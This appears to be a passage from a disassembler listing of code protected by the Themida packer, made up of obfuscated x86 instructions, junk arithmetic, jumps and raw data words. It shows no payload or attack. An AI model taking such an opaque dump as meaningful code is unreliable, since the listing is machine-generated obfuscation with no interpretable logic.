0FFh word_565EF6 dw 8B66h ; DATA XREF: Themida_:005529FCo dd 6F68240Ch, 89000012h, 6A682404h, 8900000Dh, 4832424h dd 0BCE90424h, 89FFFFEDh, 0E9552414h, 0FFFF2451h, 4C48158h dd 81000000h, 4EFh, 0B7F9E900h, 0E959FFFFh, 0FFFF390Bh dd 4BFh, 0FFFE0100h, 0A6E92434h, 59FFFF70h, 8704C583h dd 815C242Ch, 0D81544F7h, 0E9FE8923h, 0FFFFA25Ah, 0ED81E952h dd 48FFFFFh, 0CFF5C24h, 58E99C24h db 0CDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565F6B: ; CODE XREF: Themida_:005577A7j shl al, 1 jmp loc_55E3B1 ; --------------------------------------------------------------------------- dw 0D001h dd 7948BB53h, 0D8016E93h, 4335A5Bh, 24043124h, 8B240433h dd 0D2E92424h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565F8F: ; CODE XREF: Themida_:005540D5j push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 jmp loc_567875 ; --------------------------------------------------------------------------- db 89h, 0E9h, 5Dh dd 34FFCF01h, 2106E924h, 6855FFFFh, 1B886278h, 0F8E94D5Dh dd 81FFFEEEh, 5F25242Ch, 815E0E45h, 455F25C6h, 9789E90Eh dd 34FFFFFFh, 2434FF24h, 0FB6E959h, 0D6F7FFFFh, 0C102EEC1h dd 5DE902EEh, 58FFFFC9h, 8904EC83h, 0E6892434h, 98E95753h dd 0BFFFFFCBh, 19913ABCh, 0E2BE94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_566002: ; CODE XREF: Themida_:0056196Dj shr ebx, 2 not ebx jmp loc_5551B0 ; --------------------------------------------------------------------------- loc_56600C: ; CODE XREF: Themida_:00560693j xor ecx, edi pop edi push 23C2h mov [esp], edi push 4 push dword ptr [esp] pop edi jmp loc_55A282 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 50B9240Ch, 0C1132B08h, 0E98106E9h, 0C27483Dh dd 5303E9C1h, 0D03140BBh, 0A977E93Eh, 2C8BFFFFh, 4C48324h dd 0E924148Bh, 0FFFF6321h ; --------------------------------------------------------------------------- loc_566058: ; CODE XREF: Themida_:005626BCj add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55ADD3 ; --------------------------------------------------------------------------- loc_566092: ; CODE XREF: Themida_:00557661j shr ah, 2 add ah, 0Fh jmp loc_5596D0 ; --------------------------------------------------------------------------- byte_56609D db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:00552B78o dd 0E9E18951h, 0FFFFF58Eh, 8704C183h, 685C240Ch, 6AE5h dd 0BA241489h, 6579DCE5h, 0FED242E9h, 48F54FFh, 4B95124h dd 0E9000000h, 0FFFEEB38h ; --------------------------------------------------------------------------- loc_5660D0: ; CODE XREF: Themida_:0055BD8Bj push 109D3663h pop edi jmp loc_55F600 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C48300h, 4EC81h, 2C890000h, 0E3895324h, 4C381h dd 0EB830000h, 241C8704h, 2AA5685Ch, 0EC810000h, 4, 0E9242489h dd 0FFFFA5E7h, 5800BEB9h, 0F7E1D127h, 0E9D9F7D1h, 0FFFF242Bh dd 6962E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566126: ; CODE XREF: Themida_:00554192j pop esi add esp, 4 shr ebp, 2 shr ebp, 8 dec ebp xor ebp, 1BB90000h jmp loc_55A191 ; --------------------------------------------------------------------------- loc_56613F: ; CODE XREF: Themida_:0055DCC9j shl ebx, 3 jmp loc_55E451 ; --------------------------------------------------------------------------- loc_566147: ; CODE XREF: Themida_:00555A54j mov ecx, 2A9D04E0h shr ecx, 4 not ecx jmp loc_55FEF4 ; --------------------------------------------------------------------------- loc_566156: ; CODE XREF: Themida_:00566FB2j mov edi, 76430113h xor ebx, edi pop edi mov esi, ebx pop ebx push ebp jmp loc_566257 ; --------------------------------------------------------------------------- byte_566167 db 0FFh ; DATA XREF: Themida_:00552B70o dd 48B2434h, 4C48324h, 68AF68h, 0E6AAE900h, 0E6D1FFFEh dd 6C48E681h, 0CE817BB2h, 24C31176h, 5672F681h, 0C781024Ch dd 48F6397Dh, 8CE9F701h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56619B: ; CODE XREF: Themida_:00555F23j pop esi jmp loc_552CC3 ; --------------------------------------------------------------------------- db 0BDh, 12h, 3 dd 0EF89588Bh, 81242C8Bh, 4C4h, 6CB85000h, 0E973CF2Eh dd 8E8h, 0E924248Bh, 0FFFFEAA1h, 0C5BA5257h, 0BF2F8601h dd 3BDA603Fh, 41E9D731h, 8BFFFF56h, 0C4812414h, 4, 8B243C87h dd 89662424h, 0F66240Ch, 5166C8B6h, 0DC92E99Ch, 0EA81FFFFh dd 52598B84h, 0F75AD731h, 81CF81DFh, 810DAC73h, 2C3333C7h dd 8BFA896Dh, 0C481243Ch, 4, 8105EAC1h, 91CC4C2h, 3C66683Ch dd 54E90000h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56622B: ; CODE XREF: Themida_:00553595j push cx mov cl, 0E4h sub al, 0DDh sub al, 0C5h add al, cl add al, 0C5h add al, 0DDh pop cx sub al, bh jmp loc_560E69 ; --------------------------------------------------------------------------- dw 18BBh dd 8971B54Ah, 39E95BD9h db 5Ah, 2 dup(0FFh) byte_56624F db 64h ; DATA XREF: Themida_:00552C4Co dd 6CE9028Fh db 0CAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566257: ; CODE XREF: Themida_:00566162j mov ebp, 61997496h xchg ecx, ebp push edi mov edi, 413667C4h add edi, 246C1E4Fh not edi jmp loc_556113 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 6 dd 7EE95653h, 8B000004h, 0C4832414h, 60E28104h, 8348980Fh dd 0C4E901EAh db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56628F: ; CODE XREF: Themida_:005551D3j pop eax not ebx jmp loc_5547A5 ; --------------------------------------------------------------------------- db 1 dd 8104247Ch, 0E904246Ch, 5F602E07h, 582434FFh, 5104C483h dd 672552B9h, 68532D08h, 0C105592Ch, 2D627909h, 3D8D7A4Fh dd 0FFF714E9h db 0FFh ; --------------------------------------------------------------------------- loc_5662C5: ; CODE XREF: Themida_:0055CB43j add esp, 4 add dh, 0BFh sub al, dh mov edx, [esp] add esp, 4 sub al, 8Eh jmp loc_556087 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 83000000h, 0C8704C1h, 24248B24h, 34FF5456h, 0D510E924h dd 0C8BFFFFh, 4C48124h, 51000000h, 8853E188h, 5BDA88CBh dd 0FFB3F4E9h, 148B66FFh, 9BA0E924h, 0BB53FFFFh, 5C363650h dd 0A72FF805h, 0E9D80116h, 0FFFF88F7h, 6FD4E959h, 3433FFFFh dd 24343124h, 0FFBAA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_566339: ; CODE XREF: Themida_:0055FCB2j neg ebx shr ebx, 8 or ebx, 473973B1h and ebx, 684A723Dh add ebx, 0C9008F11h xor edi, ebx pop ebx push eax push 2DACh mov [esp], ebx push 7F2C7C13h pop ebx jmp loc_56583B ; --------------------------------------------------------------------------- db 0BEh dd 2A9F0634h, 4165F681h, 0E6816A33h, 428B4983h, 0F7E9E6D1h dd 81FFFF91h, 0E112DBCAh, 0D8C28104h, 8129474Eh, 0AB6B56C3h dd 0B880E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566396: ; CODE XREF: Themida_:0056296Fj mov esi, 592F4423h neg esi shr esi, 6 add esi, 0FD64BD15h jmp loc_55E025 ; --------------------------------------------------------------------------- db 51h dd 0FF893DE9h, 0C18159FFh, 4, 8704E983h, 895C240Ch, 0CE92404h db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663C7: ; CODE XREF: Themida_:0055C87Dj not ecx xor edi, ecx xor ecx, edi jmp loc_55BD90 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 0E9000000h, 0FFFF1C61h, 461C1368h, 0FB46E97Fh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5663EA: ; CODE XREF: Themida_:0056748Ej sub edx, 451A58BAh jmp loc_55C43F ; --------------------------------------------------------------------------- loc_5663F5: ; CODE XREF: Themida_:00559795j add eax, 3A722ED9h sub esi, eax pop eax xor esi, 6203BD6h mov [edi+20h], esi pop esi loc_566407: ; CODE XREF: Themida_:0055823Ej ; Themida_:0055AF41j push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_5586B7 ; --------------------------------------------------------------------------- db 81h dd 6C1AF7h, 0A8DE90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56641E: ; CODE XREF: Themida_:0055C70Ej add eax, 4 jmp loc_563B36 ; --------------------------------------------------------------------------- dd 68240489h, 57DE49C9h, 7974B958h, 0C129BCE8h, 0B4BD5558h dd 29095941h, 0E9815DE9h, 614A7CC7h, 1BD55h, 0C1810000h dd 38363EB5h, 0FF33CBE9h, 4C9568FFh, 0E95F264Ah, 0FFFFBD16h ; --------------------------------------------------------------------------- loc_566464: ; CODE XREF: Themida_:00558BE8j xor esi, 7B3B4219h add edx, esi pop esi add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_556597 ; --------------------------------------------------------------------------- db 68h dd 5DDBh, 55240489h, 1A0EB850h, 0C5897BC3h, 5124048Bh dd 7AE9E189h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566497: ; CODE XREF: Themida_:00554EC1j pop esi push 7350h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] or edx, eax shl edx, 1 sub esp, 4 mov [esp], ecx mov ecx, 0DA00A53h push esi mov esi, 14042EF9h jmp loc_559BB4 ; --------------------------------------------------------------------------- loc_5664D4: ; CODE XREF: Themida_:00553509j add ebx, ebp pop ebp push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_562E14 ; --------------------------------------------------------------------------- db 20h dd 2434FFE8h, 4EC8159h, 89000000h, 0E789243Ch, 4C781h dd 0EC830000h, 24348904h, 5D766850h, 14E90F64h, 29FFFFDAh dd 0C6C181F9h, 0E902B823h, 4EAh, 83C18159h, 0F76CEE26h dd 3E1C1D1h, 0B24E981h, 0BE567BA9h, 0E795A100h, 0FFA83CE9h dd 24048FFFh, 617E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_566542: ; CODE XREF: Themida_:0055613Cj inc ebp push ebp not dword ptr [esp] jmp loc_55E0F7 ; --------------------------------------------------------------------------- dd 58DFCA81h, 0EAC17838h, 98BB5305h, 5105434Bh, 0A32DD2B9h dd 59CB0165h, 0FFDC3CE9h, 4C481FFh, 81000000h, 4C3h, 4C38100h dd 87000000h, 585C241Ch, 0D454E305h, 0B60F666Fh, 0A7686600h dd 4896677h, 0C72DE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566596: ; CODE XREF: Themida_:00564C7Dj mov [esp], ebx push 0AAB2211h pop ebx or ebx, 7EDA09F8h neg ebx and ebx, 6C501D7Ch inc ebx push edx jmp loc_55454C ; --------------------------------------------------------------------------- loc_5665B4: ; CODE XREF: Themida_:0055C55Fj pop esi sub eax, edx jmp loc_564C74 ; --------------------------------------------------------------------------- dd 0FBB2E951h, 1468FFFEh, 8900004Dh, 77B82404h, 0E915397Dh dd 0FFFF579Ch ; --------------------------------------------------------------------------- loc_5665D4: ; CODE XREF: Themida_:0055F9EEj sub ebp, ecx pop ecx jmp loc_5552D7 ; --------------------------------------------------------------------------- dd 2B5EE281h, 0F2813095h, 1A575A41h, 0FF4985E9h db 0FFh ; --------------------------------------------------------------------------- loc_5665ED: ; CODE XREF: Themida_:00561A6Cj mov ebx, eax pop eax inc ebx and ebx, 75724DCDh xchg edi, ebx dec edi xchg edi, ebx add ebx, 21757C8Bh add eax, ebx pop ebx add ebx, eax jmp loc_557EDC ; --------------------------------------------------------------------------- loc_56660C: ; CODE XREF: Themida_:0055D5EDj add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_56773F ; --------------------------------------------------------------------------- db 5Ch dd 9C240CD3h, 0FEC692E9h, 47ED81FFh, 8B06B06Ch, 0C4832414h dd 2BB5304h, 1000000h, 0E0E95BDDh db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56664B: ; CODE XREF: Themida_:00552ECEj add edx, 7141666Dh push ebx mov ebx, 4BAB3AD4h inc ebx add ebx, 0F92F950Ch add edx, 540E6F43h jmp loc_55D106 ; --------------------------------------------------------------------------- db 51h, 0B5h, 26h dd 0DDF6CDFEh, 0FEFFBEE9h, 4E883FFh, 0E9240487h, 0FFFF3B82h dd 0C8BEE00h, 4C48124h, 0E9000000h, 0FFFFD5B9h, 0CA68E689h dd 89000024h, 0F9E9240Ch, 8BFFFEF5h, 0D0002424h, 24148B66h dd 0FF0EE0E9h, 4C481FFh, 8B000000h, 0C4832404h, 1BFE904h dd 14890000h, 142ABA24h, 0BA522DB5h, 4121A52h, 0FEDB10E9h dd 659B68FFh, 0BE90000h, 5FFFFD3h, 4, 4B951h, 0C8010000h dd 83240C8Bh, 48704C4h, 24248B24h, 0FED434E9h, 0F75E5BFFh dd 0C1F387D6h, 2FE906E3h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566707: ; CODE XREF: Themida_:005655A5j add esp, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 push ecx mov ecx, 4 sub edx, ecx jmp loc_55E492 ; --------------------------------------------------------------------------- loc_566721: ; CODE XREF: Themida_:00554C5Ej mov ecx, 53994000h add dword ptr [esp+4], 9B22054h sub [esp+4], ecx sub dword ptr [esp+4], 9B22054h pop ecx push dword ptr [esp] jmp loc_55A349 ; --------------------------------------------------------------------------- dd offset dword_59EE88 db 0F0h dd 8324148Bh, 0C33004C4h, 0FFC0B60Fh, 48B8734h, 0EC815124h dd 4, 0E9242489h, 0FFFF5D4Ah, 66403E05h, 68C80175h, 6186h dd 0BE243489h, 178806E3h, 5AC68146h, 0E95DDE39h, 0FFFFF007h ; --------------------------------------------------------------------------- loc_566788: ; CODE XREF: Themida_:0056541Fj xchg edx, [esp] pop esp and eax, ebx push dword ptr [esp] jmp loc_557365 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFF066Ah, 51243489h, 0FBBBD4B9h, 0A046E9FFh, 8151FFFFh dd 4ECh, 206DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667B6: ; CODE XREF: Themida_:00557E3Cj shr edx, 6 jmp loc_55A510 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 592434FFh, 4C481h, 0E9570000h, 0FFFFF4B7h, 6858C101h dd 46B1h, 54242C89h, 4C5815Dh, 0E9000000h, 0FFFF24EFh dd 0E924048Bh, 0FFFF1AA5h, 59E6815Ah, 0E977236Bh, 0FFFFF7DAh dd 8A6022BBh, 15EB8167h, 0E921351Ah, 0FFFEC660h, 0F061BF57h dd 0BDE9E884h, 68FFFF59h, 4DA07B1Ch, 91E7815Fh, 506F1660h dd 0FF43D8E9h, 24148BFFh, 50E78957h, 4B8h, 8BC70100h, 0C4832404h dd 4C78304h, 5C243C87h, 2804C483h, 27B168D8h, 0C890000h dd 2A686624h, 1C896642h, 4B05024h, 48BC388h, 4C48324h dd 0FF2C5FE9h, 23B850FFh, 560C348h, 255E685Ch, 0FFDC45E9h dd 0CBEB80FFh, 0FFE9D328h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566887: ; CODE XREF: Themida_:00565175j push eax mov eax, 3375F22h mov ecx, eax pop eax inc ecx neg ecx sub ecx, 46AE7381h not ecx push ebp mov ebp, 19526094h xor ebp, 24277CABh sub ebp, 74687555h xor ebp, 12D61756h xor ebp, 4F7E7847h jmp loc_558965 ; --------------------------------------------------------------------------- dw 0C483h dd 24048B04h, 4C481h, 61E90000h, 0BBFFFF5Ah, 21866E82h dd 0E73BE56h, 0D6F73800h, 53E0E681h, 0E6817569h, 0DF676F0h dd 2315C681h, 0C6810D9Dh, 3716AE0Dh, 815EF321h, 46186CCBh dd 0B7E9517Bh, 52FFFF50h, 0C281E289h, 4, 0E904C283h, 0FFFF9BBEh dd 2BE9C789h, 0BFFFFF8Fh, 4, 0BF40DF2Dh, 0EF00E968h, 0B252FFFEh dd 15F28096h, 8098B151h, 0D1F680C1h, 8009E180h, 67E961E1h dd 81FFFF4Dh, 0B220ACC2h, 68C22962h, 4BC2h, 0BD242C89h dd 7D127957h, 0FFAF51E9h, 4C681FFh, 56000000h, 42474FFh dd 0FED0C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56696D: ; CODE XREF: Themida_:00564546j mov al, bh pop ebx jmp loc_563606 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0FF098DE9h, 242C8BFFh, 8F04C483h, 285C2404h, 0E99C2404h dd 0FFFEC333h, 7968E689h, 89000004h, 0B0BB241Ch, 561E5C53h dd 5E21BA52h, 0BF5751A1h, 755C1F2h, 815FFE89h, 0D973D0C6h dd 0E9D6010Fh, 0FFFF8952h ; --------------------------------------------------------------------------- loc_5669BC: ; CODE XREF: Themida_:00558A5Cj pop edx add esi, 665A1E40h jmp loc_560EE1 ; --------------------------------------------------------------------------- dd 8904EC83h, 2EB9240Ch, 810B5504h, 4F44B2C2h, 81CA016Bh dd 4F44B2EAh, 0E956596Bh, 0FFFF25E4h, 0E924048Fh, 0FFFF8A74h ; --------------------------------------------------------------------------- loc_5669F0: ; CODE XREF: Themida_:005653C6j push edx mov edx, 654015Eh jmp loc_565C62 ; --------------------------------------------------------------------------- loc_5669FB: ; CODE XREF: Themida_:00556FDFj sub esi, 1DE6017Bh jmp loc_559953 ; --------------------------------------------------------------------------- dw 15Fh dd 0D3C181D9h, 814F8601h, 0B56020E9h, 129FE957h, 0CE81FFFFh dd 0B073CAh, 0E904E6C1h, 0FFFF0397h, 9C42E95Ch, 0E189FFFFh dd 4BD55h, 0E9010000h, 10CE95Dh, 815C0000h, 4C3h, 65D3E900h dd 97B8FFFFh, 0F740A926h, 4FF50D8h, 5E59E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A5A: ; CODE XREF: Themida_:00557719j pop esp sub esp, 4 jmp loc_56279E ; --------------------------------------------------------------------------- dd offset dword_53E920+48h align 4 dd 0E9243C89h, 0FFFFDD84h, 0EE81CE01h, 1842034h, 23F1E959h dd 0CE29FFFFh, 4EC8359h, 0E9240C89h, 0FFFF4909h, 0C381FB01h dd 529754B4h, 0B9515Fh, 0C16D3C52h, 0E95503E9h, 0FFFF3A5Fh dd 31BFB850h, 252D0AA4h, 0F70E157Bh, 0D9EBE9D8h, 5368FFFEh dd 89000012h, 0EC83241Ch, 240C8904h, 0F63731B9h, 0CF895769h dd 4EC81h, 3BE90000h, 0C1FFFFE4h, 0F28108E2h, 0E115FC51h dd 815AD689h, 0C07A2AC6h, 81A9E932h, 0F868FFFFh, 89000056h dd 4BA2414h, 1000000h, 4875AD0h, 6CE95C24h db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566B07: ; CODE XREF: Themida_:0055B803j sub [edi+24h], edx push dword ptr [esp] pop edx jmp loc_55D5B5 ; --------------------------------------------------------------------------- loc_566B13: ; CODE XREF: Themida_:0055A8DCj xchg eax, esi jmp loc_55E251 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 0DCD68h, 24148900h, 0C2815A54h, 4, 3304EA83h dd 14312414h, 24143324h, 8924248Bh, 0E6892434h, 0F9B1E951h dd 0C181FFFEh, 2, 5C240C87h, 0FFADCEE9h, 240420FFh, 0C161E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566B62: ; CODE XREF: Themida_:005657C9j push esp pop ebx add ebx, 4 push edi mov edi, 4AAD720Ch inc edi push edx mov edx, 40851D43h add edi, edx jmp loc_55B793 ; --------------------------------------------------------------------------- dw 8758h dd 0E95C2434h, 0FFFF4EAFh, 4BFh, 8BFE0100h, 0C481243Ch dd 4, 0FF8D14E9h db 0FFh byte_566B9D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552C48o dd 4EC8324h, 68241C89h, 53E3h, 56242489h, 4BEh, 11BD5500h dd 2938391Ch, 5D08246Ch, 0FF8F2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_566BC5: ; CODE XREF: Themida_:005573BEj mov eax, 3F0C1434h jmp loc_55B0CA ; --------------------------------------------------------------------------- db 81h dd 0FDE7E2C2h, 5AD189FCh, 237FE953h, 0C181FFFFh, 4, 3304E983h dd 0C31240Ch, 240C3324h, 48F545Ch, 0D7F0E924h db 0FEh, 0FFh word_566BFA dw 34FFh ; DATA XREF: Themida_:00552B94o dd 0EC835924h, 24048904h, 6E68E089h, 8900001Eh, 4BF243Ch dd 1000000h, 0EC835FF8h, 24148904h, 5446BF57h, 0FA895D07h dd 68554A5Fh, 341Ch, 0E9241C89h, 0FFFFB28Ch, 0C9105605h dd 58C789CAh, 551AE781h, 0E2E92F66h, 0B9FFFF77h, 783963DEh dd 50E7EB81h, 0EB811036h, 69223749h, 0C381CB29h, 69223749h dd 5371BA52h, 0C2814400h, 4E023CF1h, 7CEA8142h, 8181CC3Fh dd 73382CC3h, 81D3016Ah, 73382CEBh, 1595A6Ah, 0D7CCE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C8A: ; CODE XREF: Themida_:005606D0j sub ebx, 6BA768A0h inc ebx xor ebx, 4605719Fh jmp loc_55B493 ; --------------------------------------------------------------------------- dd 1B25EF81h, 315A4661h, 2434FFF8h, 57243C8Bh, 0C781E789h dd 4, 4B951h, 0CF010000h, 243C8759h, 3651685Ch, 0C890000h dd 0E9595424h, 0FFFFECFEh ; --------------------------------------------------------------------------- loc_566CD0: ; CODE XREF: Themida_:00561D52j add esp, 4 sub esp, 4 mov [esp], esi pop eax mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55A108 ; --------------------------------------------------------------------------- db 31h, 0D8h, 5Bh dd 242C8150h, 51883794h, 0FEE5CEE9h, 815A54FFh, 4C2h, 4C28100h dd 87000000h, 0F9E92414h, 5CFFFEC6h, 81242C8Bh, 4C4h, 3C2F6800h dd 4890000h, 8E11E924h, 0E389FFFFh, 0FF9525E9h, 1C895CFFh dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242489h dd 42404h, 1C8B0000h, 4C48324h, 4C381h, 0B9510000h, 2 dd 5259CB01h, 0C2815A54h, 4, 4BE56h, 0F2290000h, 0EAA0E95Eh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566D82: ; CODE XREF: Themida_:00558630j xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ebp jmp loc_55ACE1 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4E630BBDh, 5DEF3111h, 3C8BFD89h, 4C48124h, 81000000h dd 0A96D9AEDh, 0BCF9E956h, 875DFFFFh, 14E9241Ch, 81FFFFACh dd 235988CFh, 0B3C7815Dh, 899B6F48h, 0F1815FF9h, 419438B9h dd 0FEFA3DE9h, 2DD829FFh, 6BBB5BCDh, 83241C8Bh, 1E6804C4h dd 89000044h, 5368242Ch, 0FF78A1EAh, 815D2434h, 4C4h, 0FFE82900h dd 685D2434h, 2218h, 89240C89h, 835257E1h, 0BE904ECh, 89FFFF1Fh dd 0A68241Ch, 0FF1B8767h, 515B2434h, 0C181E189h, 4, 0FFCAA3E9h dd 8E7C1FFh, 5E7C147h, 22C4BB53h, 0DF311EC6h, 0FF818AE9h db 0FFh byte_566E41 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552C24o aHt9 db '$h▓9',0 align 2 dw 489h dd 17E95424h, 55FFFECAh, 0FF0702E9h db 0FFh ; --------------------------------------------------------------------------- loc_566E59: ; CODE XREF: Themida_:0055DFA3j shr ecx, 2 push 86Fh mov [esp], esi push edx push edi mov edi, 0A096F3Ah push ebx jmp loc_558620 ; --------------------------------------------------------------------------- loc_566E71: ; CODE XREF: Themida_:005583B7j add esp, 4 push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 add eax, 2B4437Fh jmp loc_55AF79 ; --------------------------------------------------------------------------- dd 5A8FBE56h, 23E92904h, 52FFFF24h, 0C281E289h, 4, 4EA81h dd 14870000h, 2C895C24h, 19476824h, 17E939AAh, 5AFFFFC0h dd 0FEFF5BE9h db 0FFh ; --------------------------------------------------------------------------- loc_566EC5: ; CODE XREF: Themida_:00563DB5j add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5631E9 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF5C14h, 57243C8Bh, 23D268h, 0F1D7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566EEA: ; CODE XREF: Themida_:0056441Aj add ecx, 63A61289h add ecx, esi sub ecx, 63A61289h mov esi, [esp] jmp loc_560E90 ; --------------------------------------------------------------------------- dd 0B568E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F06: ; CODE XREF: Themida_:0055CB96j sub esp, 4 mov [esp], edi mov edi, 58B7063Ch jmp loc_5575C1 ; --------------------------------------------------------------------------- db 2Dh, 0B8h, 4 dd 39E93486h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F23: ; CODE XREF: Themida_:005618E2j pop ebp jmp loc_55B7DD ; --------------------------------------------------------------------------- align 2 dw 66F8h dd 0E9241C8Bh, 0FFFF18BFh, 81242489h, 42404h, 34FF0000h dd 54525B24h, 0FFCC36E9h db 0FFh ; --------------------------------------------------------------------------- loc_566F49: ; CODE XREF: Themida_:005543FDj push ebx push dword ptr [esp+4] jmp loc_556F82 ; --------------------------------------------------------------------------- db 81h dd 0E56394C2h, 7BF28134h, 8963A814h, 0CD315AD1h, 0FEECADE9h dd 0A5E954FFh, 83FFFF3Ah, 48F04C4h, 24248B24h, 3B04C483h dd 92E99CC8h db 0D0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566F83: ; CODE XREF: Themida_:0055D7C9j shl ebx, 8 jmp loc_5534BB ; --------------------------------------------------------------------------- loc_566F8B: ; CODE XREF: Themida_:0055F0D8j sub [esp+4], edi sub esp, 4 mov [esp], ebx mov ebx, 31D74A6Eh sub dword ptr [esp+8], 3A166DFEh jmp loc_553943 ; --------------------------------------------------------------------------- loc_566FAA: ; CODE XREF: Themida_:00562C25j or ebx, 7F7A72C4h inc ebx push edi jmp loc_566156 ; --------------------------------------------------------------------------- db 88h dd 148B5BD8h, 4C48324h, 2C305066h, 242C3224h, 51242C30h dd 12454F6h, 499AE959h, 0C283FFFFh, 24143304h, 33241431h dd 875C2414h, 248B241Ch, 68F9F724h, 4936h, 0FF517DE9h db 0FFh ; --------------------------------------------------------------------------- loc_566FF5: ; CODE XREF: Themida_:005628B5j mov [esp], ebx mov ebx, esp push 40h mov [esp], eax jmp loc_55A80C ; --------------------------------------------------------------------------- byte_567007 db 66h ; DATA XREF: Themida_:00552A80o dd 8324048Bh, 0C9E904ECh, 52FFFF34h, 34FD68h, 24248900h dd 4B850h, 44010000h, 3EE90424h, 5DFFFF7Dh, 8102E5C1h dd 0BC3C38CDh, 92C58112h, 0E9022988h, 0FFFF526Eh, 51241C89h dd 5B21BB53h, 0C3817255h, 8DAAA4DFh, 0FF2889E9h db 0FFh ; --------------------------------------------------------------------------- loc_567055: ; CODE XREF: Themida_:0055757Bj push ebx jmp loc_55574D ; --------------------------------------------------------------------------- db 81h dd 587555C5h, 81E5D161h, 0EE579C5h, 1EE9558Ah, 81FFFEFBh dd 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 54575C24h, 4C7815Fh dd 0E9000000h, 0FFFF166Eh, 4EC81h, 14890000h, 2804B224h dd 9345E9D0h, 0BE56FFFFh, 1149654Fh, 0C9E9F789h, 68FFFEF4h dd 1237h, 0BD242C89h, 4, 15DE989h, 0E239E9CAh, 405FFFFh dd 5000000h, 4, 0E9240487h, 0FFFFAAAEh, 0E9240C87h, 0FFFEE9ECh ; --------------------------------------------------------------------------- loc_5670E0: ; CODE XREF: Themida_:00567473j mov [esp], esi mov esi, esp jmp loc_5656A0 ; --------------------------------------------------------------------------- dw 0A4BDh dd 0E9266638h, 0FFFFC3C8h ; --------------------------------------------------------------------------- loc_5670F4: ; CODE XREF: Themida_:00556A85j mov ecx, 887FDB79h add ecx, edi pop edi add eax, 5AE11B10h add eax, 63847A9Dh add eax, ecx sub eax, 63847A9Dh sub eax, 5AE11B10h pop ecx sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_56783E ; --------------------------------------------------------------------------- dw 1BDh dd 0B940CC47h, 803887F1h, 2C8BE929h, 0D5F6E924h, 48BFFFEh dd 4C48124h, 0E9000000h, 0FFFFEA49h dword_567150 dd 9D1C77FFh, 1CD35966h, 7BE99C24h, 0C1FFFEE3h, 505308E5h ; DATA XREF: Themida_:005529E4o dd 0FEF830E9h db 0FFh ; --------------------------------------------------------------------------- loc_567169: ; CODE XREF: Themida_:0055621Aj and edx, 38921541h push ebp mov ebp, 9D2C46BEh xor edx, ebp mov ebp, [esp] add esp, 4 sub ebp, edx pop edx push ebp jmp loc_5554DF ; --------------------------------------------------------------------------- dw 3C89h dd 0FCC5E924h, 